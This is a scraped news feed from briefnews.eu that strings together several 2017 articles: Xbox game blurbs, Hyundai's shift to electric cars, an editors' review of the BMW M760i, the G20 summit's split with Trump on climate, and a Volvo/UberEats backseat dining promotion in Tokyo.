  • Red Faction: Armageddon: Available Aug 16-31 on Xbox 360 & Xbox One

Slime Rancher: “For Beatrix LeBeau, being a rancher can be tough. Especially when she moves a thousand light years away for her job! 

“Add to that, she’s not wrangling cattle, she’s wrangling slimes. A lot of slimes! But there’s money to be made in slime science. Careful though, it’s a risky business when vacpacs and jetpacks are your tools.

Trials Fusion: “Powered by a top-notch physics system, Trials Fusion is packed with a wide variety of challenging levels encouraging you to pull off countless tricks and stunts. 

“Prepare to show off in ways you never imagined with Trials‘ intuitive and addictive gameplay.”

Red Faction: Armageddon: “Save Mars from an ancient evil (that you accidentally unleashed) in Red Faction: Armageddon. After a half-century of peace on Mars, the Red Faction resistance is called upon to save Mars from destruction. 

“Survive hordes of enemies with friends in co-op or battle across the red planet in an epic solo campaign.”

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]]> https://briefnews.eu/games-with-gold-september-2017-takes-backseat-to-xbox-one-x-news/feed/ 0 Hyundai confirms a shift to EVs, with fuel cells taking a backseat https://briefnews.eu/hyundai-confirms-a-shift-to-evs-with-fuel-cells-taking-a-backseat/ https://briefnews.eu/hyundai-confirms-a-shift-to-evs-with-fuel-cells-taking-a-backseat/#respond Thu, 17 Aug 2017 12:21:06 +0000 http://briefnews.eu/hyundai-confirms-a-shift-to-evs-with-fuel-cells-taking-a-backseat/

SEOUL — Hyundai confirmed on Thursday it was placing electric vehicles at the center of its product strategy — one that includes plans for a premium long-distance electric car as it seeks to catch up to Tesla and other rivals.

Like Toyota, Hyundai had initially championed fuel cell technology as the future of eco-friendly vehicles but has found itself shifting to electric as Tesla shot to prominence and battery-powered cars have gained government backing in China. Hyundai’s debut of its more modestly priced Ionic hybrid and electric has been well-received. But the pure electric’s per-charge driving range is much shorter than the Tesla Model 3 or Chevrolet Bolt.

Toyota is now also working on longer-distance, fast-charging electric vehicles.

Hyundai first started signaling this strategic shift back in May when it first discussed plans to launch an electric sedan under its high-end Genesis brand in 2021 with a range of 500 km (310 miles) per charge. It will also introduce an electric version of its Kona small crossover with a range of 390 km in the first half of next year.

“We’re strengthening our eco-friendly car strategy, centering on electric vehicles,” Executive Vice President Lee Kwang-guk told a news conference, calling the technology mainstream and realistic.

The automaker and affiliate Kia, which together rank fifth in global vehicle sales, also said they were adding three plug-in vehicles to their plans for eco-friendly cars, bringing the total to 31 models by 2020.

Underscoring Hyundai’s electric shift, those plans include eight battery-powered and two fuel-cell vehicles — a contrast to its 2014 announcement for 22 models, of which only two were slated to be battery-powered.

Hyundai also confirmed a Reuters report that it is developing its first scaleable, dedicated electric vehicle platform, which will allow the company to produce multiple models with longer driving ranges.

HYDROGEN SUV

Hyundai unveiled a near production version of its new fuel cell SUV with a driving range of more than 580 km per charge, compared with the 415 km for its current Tucson fuel cell SUV.

The mid-sized SUV will be launched in Korea early next year, followed by U.S. and European markets.

A fuel cell electric bus is slated to be unveiled late this year, while a sedan-type fuel cell car is also planned. Even so, analysts noted that gaining traction with fuel cells was going to be a long hard slog partly due to a lack of charging infrastructure.

“Hyundai will achieve economies of scale for fuel cell cars by 2035 at the earliest,” said Lee Hang-koo, a senior research fellow at Korea Institute for Industrial Economics & Trade.

“Before that, Hyundai has no choice but to rely on battery cars,” he said.

Hyundai launched the world’s first mass-produced fuel cell vehicle in 2013, dubbed the Tucson Fuel Cell, but sales trailed Toyota’s rival offering, Mirai.

Hyundai has sold about 862 of Tucson Fuel Cell vehicles since its 2013 launch, while Toyota sold some 3,700 Mirai Fuel Cell vehicles since its 2014 launch.

In Korea, there are 10 fuel cell charging stations, only one tenth of 100 in Japan, Hyundai said.

Reporting by Hyunjoo Jin; additional reporting by Maki Shiraki in Tokyo.

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]]> https://briefnews.eu/hyundai-confirms-a-shift-to-evs-with-fuel-cells-taking-a-backseat/feed/ 0 BMW M760i Drivers' Notes | V12 luxury with a mighty big backseat https://briefnews.eu/bmw-m760i-drivers-notes-v12-luxury-with-a-mighty-big-backseat/ https://briefnews.eu/bmw-m760i-drivers-notes-v12-luxury-with-a-mighty-big-backseat/#respond Fri, 11 Aug 2017 16:05:47 +0000 http://briefnews.eu/bmw-m760i-drivers-notes-v12-luxury-with-a-mighty-big-backseat/

This week, we have the biggest, baddest BMW sedan around, the 2017 M760i. This thing packs 12 turbocharged cylinders under the hood, good for 600 horsepower and 590 pound-feet of torque. All-wheel drive helps send this 2.5-ton 7 Series to 60 mph in 3.6 seconds. A sea of leather and wood ensure that trips on the Autobahn are done in quiet comfort.

Still, this car wears an M badge, even if it isn’t a full M-tuned model. That little letter carries with it a lot of history and pedigree. Does this car deserve to wear the M designation, or is it simply a pretender? Does it even matter if it’s still good to drive? Here’s what we think after a week behind the wheel.

Senior Editor, Green, John Beltz Snyder: It definitely feels like you’re driving something special when you’re behind the wheel of the BMW M760i. Every time I approached the car, I’d take a moment to soak it all in. The “M” and “V12” badging really stand out against the matte gray paint, the wheel pattern is intricate and sporty, and the sheer size of the 7 Series is imposing. It all serves to get you pumped up when you climb in. But, my colleagues ask me, does it feel like an M car?

While it’s not for me to decide what BMW applies the M treatment to, I’d say that this doesn’t really feel like it’s in the same club as the rest of the M Bimmers I’ve driven. It feels neither hardcore nor track-worthy. It’s quick, but it sometimes feels more like a boat than a car (especially the way the nose lifts skyward under hard acceleration). There are a dozen pots under the hood, it’s expensive, it begs to be photographed, and I enjoyed driving it, but to me, that doesn’t make it an M car. I suppose BMW’s choice to put the M badge on it is the beginning and end of that debate, though.

Associate Editor Joel Stocksdale: As I’m sure my colleagues have also said, the M760i doesn’t feel like a real M car. BMW doesn’t consider it a full M car, since it’s not called an M7, but it still doesn’t feel sporty enough to wear the M badge. The suspension is very soft, almost marshmallow-like in normal settings, and sport turns those marshmallows stale. This is particularly evident when demanding full power from the 600-horsepower V12 under the hood. The nose rises like a ’70s muscle car as the power hits the pavement. The transmission is sluggish in manual mode, making it less engaging.

But just because the M760i doesn’t feel like an M car doesn’t mean it’s not good. That V12 is still a blast to play with. It accelerates the big Bimmer to extralegal speeds without a second thought. The transmission, although not quick, is velvety smooth. And the soft ride, though a little floaty, polishes away all pavement imperfections. The BMW also doesn’t feel like the enormous car it is when you’re driving it. It’s easy to navigate tight turns, the steering is quick, and the car feels fairly light. I was also pleased that you can sit rather low inside.

The M760i is awash in plush materials and toys. It has supple leather everywhere, and this particular model had unique quilted piping on the seats. There’s groovy mood lighting throughout the cabin, a high-quality sound system with en vogue aluminum speaker grilles. Every seat is endlessly adjustable, and the best of all is the right rear passenger seat. It has a full recline function that performs quite the electromechanical ballet to fully recline the passenger seat. It folds down the headrest and seatback of the front passenger seat and moves it forward and deploys a foot rest from that seat’s back. It’s not unique for this class of car, and I would like the seat to recline more, but you can’t help but be tickled as everything moves about. Once situated, there’s a Samsung tablet that can be deployed to adjust lighting and sound, as well as a remote for the infotainment system.

And if the M760i were the only high-speed 7 Series BMW offered, I wouldn’t have any other complaints. But, in the words of Jedi Master Yoda, “There is another.” Specifically, it’s the Alpina B7. It also makes 600 horsepower. It’s also all-wheel drive. The only obvious difference is slightly different styling, different pricing, and the fact that the B7 has a V8. Styling and cylinder count are subjective, but pricing isn’t. The B7 has a big advantage here. It starts at about $ 139,000, while the M760i starts at about $ 157,000. That’s almost $ 20,000 to say you have more cylinders than the other guy. And you can’t see those cylinders either, thanks to BMW’s insistence on coating the entire engine in generic black plastic. So the M760i is a good car, but because I like the styling of the B7 better, and the price, that’s what I would go with.

Associate Editor Reese Counts: Not to sound jaded, but I haven’t been surprised by a car’s speed in a long while. That’s on me; 600 horsepower from a 6.6-liter twin-turbocharged V12 is nothing to scoff at, but, at just over 5,100 pounds, this thing weighs as much as a small moon. I expected that extra weight to slow it down. I knew the car would be quick, but not quite like this. Stab the throttle and you’re risking several points on your license in a matter of seconds. BMW says the M760i xDrive hits 60 mph in 3.6 seconds. Feels about right to me. So, M760i, I apologize for underestimating you.

That said, this isn’t an M car. I could go on a rant about how this waters down the brand and is simply a marketing ploy to cash in on the aura surrounding the M division the same way Mercedes is cashing in on AMG with the C43 and E43, but I won’t. Suffice to say this is a performance-minded 7-Series, not an M-division car.

The suspension isn’t sports-car sharp, but it’s not uber-lux smooth either. It’s good, but not what I expect from a car like this. The steering talks like an experienced drunk, slurred and mumbled but still somewhat coherent. Still, it’s weighted well and fairly direct. The brakes have plenty of stopping power, but there’s a lot of dive thanks to the soft suspension. The car tends to wallow and roll when taxed in a corner.

Whatever. I can forgive a lot of faults if a car has a good engine. (See: Chevrolet Corvette Z06, Shelby GT350, Jaguar F-Type R and more.) And the M760i has a really good engine. Ignore the M badge and think of this as a 48-valve cruise missile. V12s are dying, and we should celebrate the fact that BMW still offers one, albeit at an astronomical price point. The sound is wonderful, even if some of it is artificially pumped through the speakers. It’s easier to ignore that and enjoy what’s on tap under your right foot. Enjoy the cush seats. Enjoy the excellent sound system. The car is very good, questionable badging aside.

Editor-in-Chief Greg Migliore: I turned left out of my subdivision, nailed the throttle, and this big car shot forward with a sinister growl. A smile crossed my face immediately. V12s are awesome. But the M760i is more than just a big engine, potent as it may be.

With the executive-style backseat, it’s a true luxury liner. There’s plenty of room to recline, and the tech is handsome, useful and well-integrated. My passenger elected to sit back there for our evening activities, and she thought it was a first-class experience. Front and back, the cabin is well-appointed and attractive, and the tan leather and elegant trim are a nice contrast to the matte gray exterior. The outside looks sharp, and the understated color — think battleship armor — makes cues like the headlights and wheels stand out more.

Is it an M car? Eh. No. BMW doesn’t even really say that it is. It’s basically a really luxurious and powerful version of the 7 Series flagship. The chassis tuning and general body roll mean it’s just not athletic enough to wear the full-on M badge. Still, it’s pretty great anyway.

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]]> https://briefnews.eu/bmw-m760i-drivers-notes-v12-luxury-with-a-mighty-big-backseat/feed/ 0 The US takes a backseat on climate change as G20 members align against Trump https://briefnews.eu/the-us-takes-a-backseat-on-climate-change-as-g20-members-align-against-trump/ https://briefnews.eu/the-us-takes-a-backseat-on-climate-change-as-g20-members-align-against-trump/#respond Sat, 08 Jul 2017 16:43:41 +0000 http://briefnews.eu/the-us-takes-a-backseat-on-climate-change-as-g20-members-align-against-trump/ Trump Merkel

 

HAMBURG, Germany (AP) — World powers lined up against U.S. President Donald Trump on climate change Saturday, reaffirming their support for international efforts to fight global warming.

The final statement of the Group of 20 summit in Hamburg, Germany, underlined that the other countries and the European Union supported the Paris climate agreement rejected by Trump. They called the deal to reduce greenhouse gases “irreversible” and vowed to implement it quickly and without exception.

The other countries, from European powers such as Germany to emerging ones such as China and energy producers such as Saudi Arabia, merely “took note” of the U.S. position, which was boxed off in a separate paragraph that the summit host, German Chancellor Angela Merkel, made clear applied only to the United States.

She said the U.S. position was “regrettable” but that the summit had achieved “good results in some areas,” and cited a hard-won agreement on trade that does include Trump and the United States.

On trade, difficult talks yielded the preservation of the G-20’s condemnation of protectionism, a statement that has been a hallmark of the group’s efforts to combat the global financial crisis and the aftereffects of the Great Recession.

The group added new elements, however: an acknowledgment that trade must be “reciprocal and mutually advantageous” and that countries could use “legitimate trade defense instruments” if they are being taken advantage of.

That echoes concerns raised by Trump, who was attending his first G-20. He has said trade must be fair as well as open and must benefit American companies and workers. He has focused on trade relationships where other countries run large surpluses with the U.S., meaning they sell more to U.S. consumers than they buy from American companies.

More broadly, concerns about trade and its impact on workers figured large in the 2016 U.S. presidential election and in Britain’s referendum vote to leave the European Union, a free-trade bloc.

Yet pro-trade officials from the European Union pointed out that the language in the G-20 statement contains no departure from the current global system of regulation, which already allows countries to take defensive measures within the rules of the World Trade Organization. Those can include import taxes that offset unfair practices such as government subsidies or below-cost pricing.

shinzo abe trump

The EU demonstrated its willingness to move ahead with free trade despite Trump by announcing a trade agreement with Japan on the eve of the summit.

On climate, summit deputies hashed out a three-part fudge that everyone could sign. That meant a first section with a broad pledge to fight climate change in general; a separate paragraph carved out that acknowledged the U.S. did not support the Paris deal; and a third paragraph in which the other 19 members reaffirmed their support for the deal.

Advocates for efforts against global warming expressed relief that the other countries had remained unanimous in support of the Paris accords.

“The U.S. has obviously been clear about where it stands with the Paris Agreement, but it is heartening that 19 other countries reaffirmed their commitment to the agreement,” said Thoriq Ibrahim, minister of energy and environment for the Maldives and Chair of the Alliance of Small Island States, a group of countries vulnerable to the effects of global warming.

The results of the summit aren’t absolutely decisive, on either the trade or the climate issue. The no-protection pledge was often violated, increasingly in harder-to-detect ways such as tax breaks for home industries rather than obvious import taxes. Meanwhile, failure to agree on climate doesn’t stop countries from moving ahead in meeting the Paris agreement’s goals, or exceed them if they want to. Additionally, U.S. states and private companies can pursue lower emissions on their own.

G-20 agreements are statements of intent and rely on governments themselves to follow through. Still, they set the tone for global policymaking and enable peer pressure when they’re not followed.

Other deals at the summit included an agreement to press internet providers to detect and remove extremist content as a way of fighting terrorist incitement and recruiting.

John Kirton, co-director of the G-20 Research Group at the University of Toronto’s Munk School of Global Affairs, called the summit a “very solid success,” pointing to broad agreement on the agenda, much of it focusing on less controversial issues such as women’s empowerment and promoting digitalization. He said that over the long term the G-20 implements 72 percent of its promises, and has implemented 80 percent of them since last year’s summit in Hangzhou, China.

The meetings competed for attention with rioting by anti-capitalist demonstrators outside the heavily secured Hamburg Messe convention center. Rioters set up street barricades, looted supermarkets and attacked police with slingshots and firebombs.

The G-20 comprises Argentina, Australia, Brazil, China, Germany, France, Britain, India, Indonesia, Italy, Japan, Canada, South Korea, Mexico, Russia, Saudi Arabia, South Africa, Turkey, the U.S. and the European Union.

]]> https://briefnews.eu/the-us-takes-a-backseat-on-climate-change-as-g20-members-align-against-trump/feed/ 0 Roll with it: Volvo and UberEats want to bring you dinner in the backseat of an XC90 https://briefnews.eu/roll-with-it-volvo-and-ubereats-want-to-bring-you-dinner-in-the-backseat-of-an-xc90/ https://briefnews.eu/roll-with-it-volvo-and-ubereats-want-to-bring-you-dinner-in-the-backseat-of-an-xc90/#respond Sun, 19 Mar 2017 05:41:35 +0000 http://briefnews.eu/roll-with-it-volvo-and-ubereats-want-to-bring-you-dinner-in-the-backseat-of-an-xc90/ The hottest new restaurant in Japan? The back seat of a Volvo.

Alright, “hottest” is probably a bit of an exaggeration, as its unclear as to just what kind of clientele Volvo and UberEats are trying to attract with their new partnership that brings a restaurant (or rather, several restaurants) to the back of a car. It’s called the “All-Star Restaurant,” and Autoblog describes it as “a rolling buffet of the best the city has to offer.”

Certainly, Japan is no stranger to rather odd concepts. There’s the aptly named “Strange Hotel,” which features a robotic dinosaur concierge, the robot cat for folks who are allergic to real felines (but want to get their fluffy fix), and several other toys that you can peruse at your leisure.

More: Ride sharing showdown: Should you grab an Uber, or call for a Lyft?

But the All-Star Restaurant seems uniquely bizarre, especially considering the veritable pantheon of delicious cuisine Tokyo already has to offer. With world-renowned sushi joints, noodle shops, and bakeries at every corner, why would anyone want to spend their evening riding around in the backseat of a car while chowing down on buffet offerings? Perhaps for convenience’s sake.

Still, we’re not here to pass judgment, and if your idea of a good time involves making your way around Japan’s capital in a Volvo XC90 Excellence (which, to be fair, is the biggest and most luxurious sport utility vehicle Volvo has), all while stuffing your face with food, then this is the initiative for you. The UberEats venture will stop at a number of the city’s best restaurants, selected by Iron Chef Yukio Hattori. But instead of going into the restaurant, the participating eateries will provide salads, soups, fish, steaks, desserts, and more for you to consume while seated in the backseat of the XC90.

And yes, there’s champagne involved.

So if you find yourself in Tokyo and in need of a way to try all the city’s best restaurants and, simultaneously, tour the city, All-Star Restaurant may be the way to go.

Digital Trends

]]> https://briefnews.eu/roll-with-it-volvo-and-ubereats-want-to-bring-you-dinner-in-the-backseat-of-an-xc90/feed/ 0